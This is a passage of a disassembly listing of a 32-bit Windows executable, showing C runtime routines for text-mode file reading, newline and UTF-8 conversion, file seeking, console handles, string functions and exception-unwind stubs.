sub_41A5AF+25Aj mov eax, [ebx] lea eax, [esi+eax+4] test byte ptr [eax], 40h jnz short loc_41A8CD or byte ptr [eax], 2 jmp short loc_41A8D2 ; --------------------------------------------------------------------------- loc_41A8CD: ; CODE XREF: sub_41A5AF+317j mov al, [ecx] mov [edi], al inc edi loc_41A8D2: ; CODE XREF: sub_41A5AF+24Dj ; sub_41A5AF+30Cj ... mov eax, edi sub eax, [ebp+var_C] cmp [ebp+var_2], 1 mov [ebp+var_10], eax jnz loc_41A9B4 test eax, eax jz loc_41A9B4 dec edi mov cl, [edi] test cl, cl js short loc_41A8F9 inc edi jmp loc_41A97F ; --------------------------------------------------------------------------- loc_41A8F9: ; CODE XREF: sub_41A5AF+342j xor eax, eax inc eax movzx ecx, cl jmp short loc_41A910 ; --------------------------------------------------------------------------- loc_41A901: ; CODE XREF: sub_41A5AF+368j cmp eax, 4 jg short loc_41A919 cmp edi, [ebp+var_C] jb short loc_41A919 dec edi movzx ecx, byte ptr [edi] inc eax loc_41A910: ; CODE XREF: sub_41A5AF+350j cmp byte_424060[ecx], 0 jz short loc_41A901 loc_41A919: ; CODE XREF: sub_41A5AF+355j ; sub_41A5AF+35Aj mov dl, [edi] movzx ecx, dl movsx ecx, byte_424060[ecx] test ecx, ecx jnz short loc_41A936 call sub_40F79E mov dword ptr [eax], 2Ah jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41A936: ; CODE XREF: sub_41A5AF+378j inc ecx cmp ecx, eax jnz short loc_41A93F add edi, eax jmp short loc_41A97F ; --------------------------------------------------------------------------- loc_41A93F: ; CODE XREF: sub_41A5AF+38Aj mov ecx, [ebx] add ecx, esi test byte ptr [ecx+4], 48h jz short loc_41A96D inc edi cmp eax, 2 mov [ecx+5], dl jl short loc_41A95B mov dl, [edi] mov ecx, [ebx] mov [esi+ecx+25h], dl inc edi loc_41A95B: ; CODE XREF: sub_41A5AF+3A1j cmp eax, 3 jnz short loc_41A969 mov dl, [edi] mov ecx, [ebx] mov [esi+ecx+26h], dl inc edi loc_41A969: ; CODE XREF: sub_41A5AF+3AFj sub edi, eax jmp short loc_41A97F ; --------------------------------------------------------------------------- loc_41A96D: ; CODE XREF: sub_41A5AF+398j neg eax cdq push 1 push edx push eax push [ebp+arg_0] call sub_4178D6 add esp, 10h loc_41A97F: ; CODE XREF: sub_41A5AF+345j ; sub_41A5AF+38Ej ... mov eax, [ebp+var_1C] sub edi, [ebp+var_C] shr eax, 1 push eax push [ebp+arg_4] push edi push [ebp+var_C] push 0 push 0FDE9h call dword_41C174 ; MultiByteToWideChar test eax, eax mov [ebp+var_10], eax jnz short loc_41A9D7 call dword_41C0A4 ; RtlGetLastWin32Error loc_41A9A9: ; CODE XREF: sub_41A5AF+58Cj push eax call sub_40F7C4 pop ecx loc_41A9B0: ; CODE XREF: sub_41A5AF+385j ; sub_41A5AF+584j or [ebp+var_14], 0FFFFFFFFh loc_41A9B4: ; CODE XREF: sub_41A5AF+1ADj ; sub_41A5AF+32Fj ... mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jz short loc_41A9C3 push eax call sub_41112C pop ecx loc_41A9C3: ; CODE XREF: sub_41A5AF+40Bj mov eax, [ebp+var_14] cmp eax, 0FFFFFFFEh jnz loc_41AB4C mov eax, [ebp+var_10] jmp loc_41AB4C ; --------------------------------------------------------------------------- loc_41A9D7: ; CODE XREF: sub_41A5AF+3F2j add eax, eax mov [ebp+var_10], eax jmp short loc_41A9B4 ; --------------------------------------------------------------------------- loc_41A9DE: ; CODE XREF: sub_41A5AF+1B7j test edi, edi jz short loc_41A9F0 mov ecx, [ebp+var_C] cmp word ptr [ecx], 0Ah jnz short loc_41A9F0 or byte ptr [eax], 4 jmp short loc_41A9F3 ; --------------------------------------------------------------------------- loc_41A9F0: ; CODE XREF: sub_41A5AF+431j ; sub_41A5AF+43Aj and byte ptr [eax], 0FBh loc_41A9F3: ; CODE XREF: sub_41A5AF+43Fj mov edi, [ebp+var_C] mov eax, [ebp+var_10] add eax, edi cmp edi, eax mov [ebp+arg_8], edi mov [ebp+var_10], eax jnb loc_41AB09 loc_41AA09: ; CODE XREF: sub_41A5AF+53Aj mov eax, [ebp+arg_8] movzx ecx, word ptr [eax] cmp cx, 1Ah jz loc_41AAF1 cmp cx, 0Dh jz short loc_41AA2E mov [edi], cx inc edi inc edi inc eax inc eax mov [ebp+arg_8], eax jmp loc_41AAE3 ; --------------------------------------------------------------------------- loc_41AA2E: ; CODE XREF: sub_41A5AF+46Ej mov ecx, [ebp+var_10] add ecx, 0FFFFFFFEh cmp eax, ecx jnb short loc_41AA59 lea ecx, [eax+2] cmp word ptr [ecx], 0Ah jnz short loc_41AA51 add eax, 4 mov [ebp+arg_8], eax loc_41AA47: ; CODE XREF: sub_41A5AF+4E7j ; sub_41A5AF+513j mov word ptr [edi], 0Ah jmp loc_41AAE1 ; --------------------------------------------------------------------------- loc_41AA51: ; CODE XREF: sub_41A5AF+490j mov [ebp+arg_8], ecx jmp loc_41AADC ; --------------------------------------------------------------------------- loc_41AA59: ; CODE XREF: sub_41A5AF+487j add [ebp+arg_8], 2 push 0 lea eax, [ebp+var_18] push eax push 2 lea eax, [ebp+var_8] push eax mov eax, [ebx] push dword ptr [esi+eax] call dword_41C0FC ; ReadFile test eax, eax jnz short loc_41AA82 call dword_41C0A4 ; RtlGetLastWin32Error test eax, eax jnz short loc_41AADC loc_41AA82: ; CODE XREF: sub_41A5AF+4C7j cmp [ebp+var_18], 0 jz short loc_41AADC mov eax, [ebx] test byte ptr [esi+eax+4], 48h jz short loc_41AAB8 cmp [ebp+var_8], 0Ah jz short loc_41AA47 mov word ptr [edi], 0Dh mov eax, [ebx] mov cl, byte ptr [ebp+var_8] mov [esi+eax+5], cl mov eax, [ebx] mov cl, byte ptr [ebp+var_8+1] mov [esi+eax+25h], cl mov eax, [ebx] mov byte ptr [esi+eax+26h], 0Ah jmp short loc_41AAE1 ; --------------------------------------------------------------------------- loc_41AAB8: ; CODE XREF: sub_41A5AF+4E0j cmp edi, [ebp+var_C] jnz short loc_41AAC4 cmp [ebp+var_8], 0Ah jz short loc_41AA47 loc_41AAC4: ; CODE XREF: sub_41A5AF+50Cj push 1 push 0FFFFFFFFh push 0FFFFFFFEh push [ebp+arg_0] call sub_4178D6 add esp, 10h cmp [ebp+var_8], 0Ah jz short loc_41AAE3 loc_41AADC: ; CODE XREF: sub_41A5AF+4A5j ; sub_41A5AF+4D1j ... mov word ptr [edi], 0Dh loc_41AAE1: ; CODE XREF: sub_41A5AF+49Dj ; sub_41A5AF+507j inc edi inc edi loc_41AAE3: ; CODE XREF: sub_41A5AF+47Aj ; sub_41A5AF+52Bj mov eax, [ebp+var_10] cmp [ebp+arg_8], eax jb loc_41AA09 jmp short loc_41AB09 ; --------------------------------------------------------------------------- loc_41AAF1: ; CODE XREF: sub_41A5AF+464j mov ecx, [ebx] lea esi, [esi+ecx+4] test byte ptr [esi], 40h jnz short loc_41AB01 or byte ptr [esi], 2 jmp short loc_41AB09 ; --------------------------------------------------------------------------- loc_41AB01: ; CODE XREF: sub_41A5AF+54Bj mov ax, [eax] mov [edi], ax inc edi inc edi loc_41AB09: ; CODE XREF: sub_41A5AF+454j ; sub_41A5AF+540j ... sub edi, [ebp+var_C] mov [ebp+var_10], edi jmp loc_41A9B4 ; --------------------------------------------------------------------------- loc_41AB14: ; CODE XREF: sub_41A5AF+187j ; sub_41A5AF+192j ... call dword_41C0A4 ; RtlGetLastWin32Error push 5 pop esi cmp eax, esi jnz short loc_41AB38 call sub_40F79E mov dword ptr [eax], 9 call sub_40F7B1 mov [eax], esi jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AB38: ; CODE XREF: sub_41A5AF+570j cmp eax, 6Dh jnz loc_41A9A9 and [ebp+var_14], 0 jmp loc_41A9B4 ; --------------------------------------------------------------------------- loc_41AB4A: ; CODE XREF: sub_41A5AF+A6j ; sub_41A5AF+AFj xor eax, eax loc_41AB4C: ; CODE XREF: sub_41A5AF+235j ; sub_41A5AF+41Aj ... pop ebx loc_41AB4D: ; CODE XREF: sub_41A5AF+66j pop edi loc_41AB4E: ; CODE XREF: sub_41A5AF+30j pop esi leave retn sub_41A5AF endp ; =============== S U B R O U T I N E ======================================= sub_41AB51 proc near ; CODE XREF: sub_418D2B+322p ; sub_418D2B+37Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push esi call sub_419E05 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41AB72 call sub_40F79E mov dword ptr [eax], 9 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41AB72: ; CODE XREF: sub_41AB51+Fj push edi push [esp+8+arg_8] push 0 push [esp+10h+arg_4] push eax call dword_41C048 ; SetFilePointer mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_41AB93 call dword_41C0A4 ; RtlGetLastWin32Error jmp short loc_41AB95 ; --------------------------------------------------------------------------- loc_41AB93: ; CODE XREF: sub_41AB51+38j xor eax, eax loc_41AB95: ; CODE XREF: sub_41AB51+40j test eax, eax jz short loc_41ABA5 push eax call sub_40F7C4 pop ecx or eax, 0FFFFFFFFh jmp short loc_41ABC0 ; --------------------------------------------------------------------------- loc_41ABA5: ; CODE XREF: sub_41AB51+46j mov eax, esi and esi, 1Fh imul esi, 28h sar eax, 5 mov eax, dword_424EE0[eax*4] lea eax, [eax+esi+4] and byte ptr [eax], 0FDh mov eax, edi loc_41ABC0: ; CODE XREF: sub_41AB51+52j pop edi pop esi retn sub_41AB51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABC3 proc near ; CODE XREF: sub_41A3FB+9Ap ; sub_41A3FB+DEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, edx sar eax, 5 and edx, 1Fh imul edx, 28h push ebx mov ebx, [ebp+arg_4] push esi lea esi, ds:424EE0h[eax*4] mov eax, [esi] lea ecx, [eax+edx] movzx eax, byte ptr [ecx+4] and eax, 80h mov [ebp+arg_0], eax mov al, [ecx+24h] add al, al movsx eax, al push edi mov edi, 4000h sar eax, 1 cmp ebx, edi jz short loc_41AC55 cmp ebx, 8000h jz short loc_41AC4F cmp ebx, 10000h jz short loc_41AC3B cmp ebx, 20000h jz short loc_41AC3B cmp ebx, 40000h jnz short loc_41AC62 or byte ptr [ecx+4], 80h mov ecx, [esi] lea ecx, [ecx+edx+24h] mov dl, [ecx] and dl, 81h or dl, 1 loc_41AC37: ; CODE XREF: sub_41ABC3+8Aj mov [ecx], dl jmp short loc_41AC62 ; --------------------------------------------------------------------------- loc_41AC3B: ; CODE XREF: sub_41ABC3+50j ; sub_41ABC3+58j or byte ptr [ecx+4], 80h mov ecx, [esi] lea ecx, [ecx+edx+24h] mov dl, [ecx] and dl, 82h or dl, 2 jmp short loc_41AC37 ; --------------------------------------------------------------------------- loc_41AC4F: ; CODE XREF: sub_41ABC3+48j and byte ptr [ecx+4], 7Fh jmp short loc_41AC62 ; --------------------------------------------------------------------------- loc_41AC55: ; CODE XREF: sub_41ABC3+40j or byte ptr [ecx+4], 80h mov ecx, [esi] lea ecx, [ecx+edx+24h] and byte ptr [ecx], 80h loc_41AC62: ; CODE XREF: sub_41ABC3+60j ; sub_41ABC3+76j ... cmp [ebp+arg_0], 0 jnz short loc_41AC6F mov eax, 8000h jmp short loc_41AC7A ; --------------------------------------------------------------------------- loc_41AC6F: ; CODE XREF: sub_41ABC3+A3j neg eax sbb eax, eax and eax, 0C000h add eax, edi loc_41AC7A: ; CODE XREF: sub_41ABC3+AAj pop edi pop esi pop ebx pop ebp retn sub_41ABC3 endp ; =============== S U B R O U T I N E ======================================= sub_41AC7F proc near ; CODE XREF: sub_418D2B+40p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi xor esi, esi cmp eax, esi jnz short loc_41ACA7 call sub_40F79E push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h push 16h pop eax pop esi retn ; --------------------------------------------------------------------------- loc_41ACA7: ; CODE XREF: sub_41AC7F+9j mov ecx, dword_424E50 mov [eax], ecx xor eax, eax pop esi retn sub_41AC7F endp ; =============== S U B R O U T I N E ======================================= sub_41ACB3 proc near ; CODE XREF: sub_419B1B+24p xor eax, eax push eax push eax push 3 push eax push 3 push 40000000h push offset aConout ; "CONOUT$" call dword_41C034 ; CreateFileA mov dword_424164, eax retn sub_41ACB3 endp ; =============== S U B R O U T I N E ======================================= sub_41ACD2 proc near ; DATA XREF: .vty:0041C24Co mov eax, dword_424164 cmp eax, 0FFFFFFFFh push esi mov esi, dword_41C0D4 jz short loc_41ACEB cmp eax, 0FFFFFFFEh jz short loc_41ACEB push eax call esi ; CloseHandle loc_41ACEB: ; CODE XREF: sub_41ACD2+Fj ; sub_41ACD2+14j mov eax, dword_424160 cmp eax, 0FFFFFFFFh jz short loc_41ACFD cmp eax, 0FFFFFFFEh jz short loc_41ACFD push eax call esi ; CloseHandle loc_41ACFD: ; CODE XREF: sub_41ACD2+21j ; sub_41ACD2+26j pop esi retn sub_41ACD2 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+10h] or ecx, ecx jz short loc_41AD5A mov esi, [ebp+8] mov edi, [ebp+0Ch] mov bh, 41h mov bl, 5Ah mov dh, 20h lea ecx, [ecx+0] loc_41AD1C: ; CODE XREF: .vty:0041AD49j mov ah, [esi] or ah, ah mov al, [edi] jz short loc_41AD4B or al, al jz short loc_41AD4B add esi, 1 add edi, 1 cmp ah, bh jb short loc_41AD38 cmp ah, bl ja short loc_41AD38 add ah, dh loc_41AD38: ; CODE XREF: .vty:0041AD30j ; .vty:0041AD34j cmp al, bh jb short loc_41AD42 cmp al, bl ja short loc_41AD42 add al, dh loc_41AD42: ; CODE XREF: .vty:0041AD3Aj ; .vty:0041AD3Ej cmp ah, al jnz short loc_41AD51 sub ecx, 1 jnz short loc_41AD1C loc_41AD4B: ; CODE XREF: .vty:0041AD22j ; .vty:0041AD26j xor ecx, ecx cmp ah, al jz short loc_41AD5A loc_41AD51: ; CODE XREF: .vty:0041AD44j mov ecx, 0FFFFFFFFh jb short loc_41AD5A neg ecx loc_41AD5A: ; CODE XREF: .vty:0041AD0Bj ; .vty:0041AD4Fj ... mov eax, ecx pop ebx pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41AD70: ; CODE XREF: .vty:0041AD9Fj lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- align 10h xor eax, eax mov al, [esp+8] push ebx mov ebx, eax shl eax, 8 mov edx, [esp+8] test edx, 3 jz short loc_41ADAD loc_41AD98: ; CODE XREF: .vty:0041ADABj mov cl, [edx] add edx, 1 cmp cl, bl jz short loc_41AD70 test cl, cl jz short loc_41ADF6 test edx, 3 jnz short loc_41AD98 loc_41ADAD: ; CODE XREF: .vty:0041AD96j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41ADB8: ; CODE XREF: .vty:0041ADE3j ; .vty:0041ADF2j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41ADFA and eax, 81010100h jz short loc_41ADB8 and eax, 1010100h jnz short loc_41ADF4 and esi, 80000000h jnz short loc_41ADB8 loc_41ADF4: ; CODE XREF: .vty:0041ADEAj ; .vty:0041AE03j ... pop esi pop edi loc_41ADF6: ; CODE XREF: .vty:0041ADA3j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41ADFA: ; CODE XREF: .vty:0041ADDCj mov eax, [edx-4] cmp al, bl jz short loc_41AE37 test al, al jz short loc_41ADF4 cmp ah, bl jz short loc_41AE30 test ah, ah jz short loc_41ADF4 shr eax, 10h cmp al, bl jz short loc_41AE29 test al, al jz short loc_41ADF4 cmp ah, bl jz short loc_41AE22 test ah, ah jz short loc_41ADF4 jmp short loc_41ADB8 ; --------------------------------------------------------------------------- loc_41AE22: ; CODE XREF: .vty:0041AE1Aj pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41AE29: ; CODE XREF: .vty:0041AE12j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41AE30: ; CODE XREF: .vty:0041AE07j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41AE37: ; CODE XREF: .vty:0041ADFFj lea eax, [edx-4] pop esi pop edi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41AE3E proc near ; CODE XREF: sub_41083D+24p ; sub_4140EA+10p ... jmp dword_41C13C sub_41AE3E endp ; =============== S U B R O U T I N E ======================================= sub_41AE44 proc near ; CODE XREF: sub_4015DE+5p ; sub_401869+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41AE44 endp ; sp-analysis failed ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41AE6B: ; DATA XREF: sub_40D784+2o ; sub_40D7C3+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-54h] xor ecx, eax call sub_410BCD mov eax, offset dword_41F858 jmp sub_41088F ; --------------------------------------------------------------------------- loc_41AE86: ; DATA XREF: sub_4160A3+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_410BCD mov eax, offset dword_41FBD0 jmp sub_41088F ; =============== S U B R O U T I N E ======================================= sub_41AEA1 proc near ; CODE XREF: sub_412B12+14p ; DATA XREF: sub_4015DEo mov eax, offset dword_41FFE0 jmp sub_41088F sub_41AEA1 endp ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40D931 ; --------------------------------------------------------------------------- loc_41AEB3: ; DATA XREF: sub_401869o sub_401919o mov eax, offset dword_42000C jmp sub_41088F ; --------------------------------------------------------------------------- loc_41AEBD: ; DATA XREF: .vty:0042003Co jmp locret_401868 ; --------------------------------------------------------------------------- loc_41AEC2: ; DATA XREF: sub_40AC8Bo mov eax, offset dword_42006C jmp sub_41088F ; --------------------------------------------------------------------------- mov ecx, [ebp+8] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41AED4: ; DATA XREF: .vty:0042009Co mov ecx, [ebp+8] add ecx, 1Ch jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41AEDF: ; DATA XREF: sub_40772Bo mov eax, offset dword_4200A0 jmp sub_41088F ; --------------------------------------------------------------------------- mov ecx, [ebp+8] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41AEF1: ; DATA XREF: sub_407260o sub_407525o ... mov eax, offset dword_4200CC jmp sub_41088F ; --------------------------------------------------------------------------- loc_41AEFB: ; DATA XREF: sub_4070DEo mov eax, offset dword_420124 jmp sub_41088F ; --------------------------------------------------------------------------- loc_41AF05: ; DATA XREF: sub_407078o mov eax, offset dword_42017C jmp sub_41088F ; --------------------------------------------------------------------------- loc_41AF0F: ; DATA XREF: .vty:004201ACo jmp locret_401868 ; --------------------------------------------------------------------------- loc_41AF14: ; DATA XREF: sub_4023B8o mov eax, offset dword_4201DC jmp sub_41088F ; --------------------------------------------------------------------------- mov eax, [ebp-14h] and eax, 1 jz locret_41AF36 and dword ptr [ebp-14h], 0FFFFFFFEh mov ecx, [ebp+8] jmp loc_4033BE ; --------------------------------------------------------------------------- locret_41AF36: ; CODE XREF: .vty:0041AF24j retn ; --------------------------------------------------------------------------- loc_41AF37: ; DATA XREF: sub_401B38o sub_40D228o mov eax, offset dword_420208 jmp sub_41088F ; --------------------------------------------------------------------------- mov eax, [ebp-10h] and eax, 1 jz locret_41AF59 and dword ptr [ebp-10h], 0FFFFFFFEh mov ecx, [ebp+8] jmp loc_4033BE ; --------------------------------------------------------------------------- locret_41AF59: ; CODE XREF: .vty:0041AF47j retn ; --------------------------------------------------------------------------- loc_41AF5A: ; DATA XREF: sub_409441o sub_40D2A0o mov eax, offset dword_420234 jmp sub_41088F ; --------------------------------------------------------------------------- loc_41AF64: ; DATA XREF: sub_40CB4Bo mov eax, offset dword_42028C jmp sub_41088F ; --------------------------------------------------------------------------- loc_41AF6E: ; DATA XREF: sub_40CA70o mov eax, offset dword_4202E4 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-30h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41AF80: ; DATA XREF: sub_40B3C2o mov eax, offset dword_420344 jmp sub_41088F ; --------------------------------------------------------------------------- loc_41AF8A: ; DATA XREF: sub_40B35Eo mov eax, offset dword_42039C jmp sub_41088F ; --------------------------------------------------------------------------- loc_41AF94: ; DATA XREF: sub_40B28Fo mov eax, offset dword_4203F4 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41AFA6: ; DATA XREF: sub_401F07o sub_402979o ... mov eax, offset dword_420420 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41AFB8: ; DATA XREF: .vty:00420450o lea ecx, [ebp-74h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41AFC0: ; DATA XREF: .vty:00420458o lea esi, [ebp-74h] jmp sub_4072AA ; --------------------------------------------------------------------------- loc_41AFC8: ; DATA XREF: sub_4095C0o mov eax, offset dword_42045C jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-38h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41AFDA: ; DATA XREF: sub_409358o mov eax, offset dword_420488 jmp sub_41088F ; --------------------------------------------------------------------------- loc_41AFE4: ; DATA XREF: sub_4072C2o mov eax, offset dword_4204E0 jmp sub_41088F ; --------------------------------------------------------------------------- loc_41AFEE: ; DATA XREF: .vty:00420510o jmp locret_401868 ; --------------------------------------------------------------------------- loc_41AFF3: ; DATA XREF: sub_406F3Co mov eax, offset dword_420540 jmp sub_41088F ; --------------------------------------------------------------------------- loc_41AFFD: ; DATA XREF: sub_406694o mov eax, offset dword_420598 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp+8] jmp loc_4033BE ; =============== S U B R O U T I N E ======================================= sub_41B00F proc near ; CODE XREF: sub_404B2B+BAp ; DATA XREF: sub_404B2B+4o mov eax, offset dword_4205C4 jmp sub_41088F sub_41B00F endp ; --------------------------------------------------------------------------- lea ecx, [ebp-38h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B021: ; DATA XREF: .vty:004205F4o lea ecx, [ebp-54h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B029: ; DATA XREF: sub_402E64o mov eax, offset dword_4205F8 jmp sub_41088F ; --------------------------------------------------------------------------- push dword ptr [ebp-1Ch] call sub_40DD8A pop ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; DATA XREF: .vty:00420628o mov ecx, [ebp-1Ch] jmp loc_40244B ; --------------------------------------------------------------------------- loc_41B045: ; DATA XREF: sub_402AA0o mov eax, offset dword_42062C jmp sub_41088F ; --------------------------------------------------------------------------- mov ecx, [ebp+8] add ecx, 4 jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B05A: ; DATA XREF: .vty:0042065Co mov ecx, [ebp+8] add ecx, 20h jmp loc_4033BE ; --------------------------------------------------------------------------- mov ecx, [ebp+8] add ecx, 3Ch jmp loc_4033BE ; --------------------------------------------------------------------------- mov ecx, [ebp+8] add ecx, 58h jmp loc_4033BE ; --------------------------------------------------------------------------- mov esi, [ebp+8] add esi, 7Ch jmp sub_405809 ; --------------------------------------------------------------------------- mov eax, [ebp+8] add eax, 8Ch jmp sub_40558B ; --------------------------------------------------------------------------- mov eax, [ebp+8] add eax, 98h jmp sub_40558B ; --------------------------------------------------------------------------- mov esi, [ebp+8] add esi, 0A4h jmp loc_4056B7 ; --------------------------------------------------------------------------- mov esi, [ebp+8] add esi, 0D0h jmp loc_40B63D ; --------------------------------------------------------------------------- loc_41B0BC: ; DATA XREF: sub_402509o mov eax, offset dword_420698 jmp sub_41088F ; --------------------------------------------------------------------------- mov eax, dword_424E54 and eax, 0FFFFFFFEh mov dword_424E54, eax retn ; --------------------------------------------------------------------------- loc_41B0D4: ; DATA XREF: sub_4024A7o mov eax, offset dword_4206C4 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-830h] jmp loc_401A40 ; --------------------------------------------------------------------------- loc_41B0E9: ; DATA XREF: sub_401989+Eo mov eax, offset dword_4206F0 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B0FB: ; DATA XREF: sub_40D355o mov eax, offset dword_42071C jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B10D: ; DATA XREF: sub_401A4Do sub_4093C0o ... mov eax, offset dword_420748 jmp sub_41088F ; --------------------------------------------------------------------------- loc_41B117: ; DATA XREF: sub_40C844o mov eax, offset dword_4207D4 jmp sub_41088F ; --------------------------------------------------------------------------- lea esi, [ebp-78h] jmp sub_407598 ; --------------------------------------------------------------------------- loc_41B129: ; DATA XREF: sub_40C3E5o mov eax, offset dword_420868 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B13B: ; DATA XREF: sub_40A246o mov eax, offset dword_4208FC jmp sub_41088F ; --------------------------------------------------------------------------- lea esi, [ebp-4Ch] jmp sub_4072AA ; --------------------------------------------------------------------------- loc_41B14D: ; DATA XREF: sub_409E2Ao mov eax, offset dword_420990 jmp sub_41088F ; --------------------------------------------------------------------------- mov eax, [ebp-14h] and eax, 1 jz locret_41B16F and dword ptr [ebp-14h], 0FFFFFFFEh mov ecx, [ebp+8] jmp loc_4033BE ; --------------------------------------------------------------------------- locret_41B16F: ; CODE XREF: .vty:0041B15Dj retn ; --------------------------------------------------------------------------- loc_41B170: ; DATA XREF: .vty:004209C0o lea ecx, [ebp-78h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B178: ; DATA XREF: .vty:004209C8o lea ecx, [ebp-54h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea esi, [ebp-24h] jmp loc_4056B7 ; --------------------------------------------------------------------------- lea ecx, [ebp-78h] jmp loc_4033BE ; --------------------------------------------------------------------------- mov eax, [ebp-14h] and eax, 2 jz locret_41B1A8 and dword ptr [ebp-14h], 0FFFFFFFDh lea ecx, [ebp-78h] jmp loc_4033BE ; --------------------------------------------------------------------------- locret_41B1A8: ; CODE XREF: .vty:0041B196j retn ; --------------------------------------------------------------------------- loc_41B1A9: ; DATA XREF: .vty:004209E8o lea ecx, [ebp-78h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B1B1: ; DATA XREF: sub_4089E6o mov eax, offset dword_4209EC jmp sub_41088F ; --------------------------------------------------------------------------- lea eax, [ebp-74h] jmp sub_40CCB1 ; --------------------------------------------------------------------------- lea ecx, [ebp-38h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-38h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B1DB: ; DATA XREF: sub_407E77o mov eax, offset dword_420A30 jmp sub_41088F ; --------------------------------------------------------------------------- lea eax, [ebp-74h] jmp sub_40CCB1 ; --------------------------------------------------------------------------- loc_41B1ED: ; DATA XREF: .vty:00420A60o lea ecx, [ebp-54h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-38h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B1FD: ; DATA XREF: sub_407949o mov eax, offset dword_420A6C jmp sub_41088F ; --------------------------------------------------------------------------- loc_41B207: ; DATA XREF: sub_4075BCo mov eax, offset dword_420AC4 jmp sub_41088F ; --------------------------------------------------------------------------- loc_41B211: ; DATA XREF: sub_407141o mov eax, offset dword_420B1C jmp sub_41088F ; --------------------------------------------------------------------------- loc_41B21B: ; DATA XREF: sub_40674Eo mov eax, offset dword_420B74 jmp sub_41088F ; --------------------------------------------------------------------------- mov esi, [ebp+8] jmp loc_405AD1 ; --------------------------------------------------------------------------- loc_41B22D: ; DATA XREF: .vty:00420BA4o mov esi, [ebp+8] add esi, 10h jmp loc_405AD6 ; --------------------------------------------------------------------------- mov ecx, [ebp+8] add ecx, 20h jmp loc_4033BE ; --------------------------------------------------------------------------- mov ecx, [ebp+8] add ecx, 3Ch jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B24E: ; DATA XREF: sub_4065C8o mov eax, offset dword_420BB8 jmp sub_41088F ; --------------------------------------------------------------------------- lea eax, [ebp-6Ch] jmp sub_40CCB1 ; --------------------------------------------------------------------------- loc_41B260: ; DATA XREF: .vty:00420BE8o lea ecx, [ebp-4Ch] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-30h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B270: ; DATA XREF: sub_403C76o mov eax, offset dword_420BF4 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B282: ; DATA XREF: 